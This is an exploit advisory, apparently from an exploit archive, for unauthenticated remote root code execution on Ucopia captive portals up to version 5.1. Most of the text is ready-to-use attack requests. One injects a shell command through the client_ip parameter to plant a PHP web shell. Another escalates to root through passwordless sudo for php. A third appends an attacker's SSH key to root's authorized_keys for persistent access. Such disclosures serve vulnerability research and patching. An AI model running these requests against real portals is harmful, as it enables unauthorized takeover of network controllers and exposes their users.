17 lines
No EOL
936 B
Text
17 lines
No EOL
936 B
Text
# Exploit Title: Unauthenticated remote root code execution on captive
|
|
portal Ucopia <= 5.1
|
|
# Date: 02/10/17
|
|
# Exploit Author: agix
|
|
# Vendor Homepage: http://www.ucopia.com/
|
|
# Version: <= 5.1
|
|
# Don't know in which version they exactly fixed it.
|
|
# When you connect to Ucopia wifi guest, every requests are redirected to controller.access.network
|
|
|
|
# First create easier to use php backdoor
|
|
https://controller.access.network/autoconnect_redirector.php?client_ip=127.0.0.1;echo%20'<?php system($_GET[0]);%20?>'>/var/www/html/upload/bd.php;echo%20t
|
|
|
|
# As php is in sudoers without password...
|
|
https://controller.access.network/upload/bd.php?0=sudo%20/usr/bin/php%20-r%20%27system("id");%27
|
|
|
|
# Just push your ssh key and get nice root access (ssh is open by default even from wifi guest)
|
|
https://controller.access.network/upload/bd.php?0=sudo%20/usr/bin/php%20-r%20%27system("echo%20ssh-rsa%20AAAA[...]%20>>%20/root/.ssh/authorized_keys");%27 |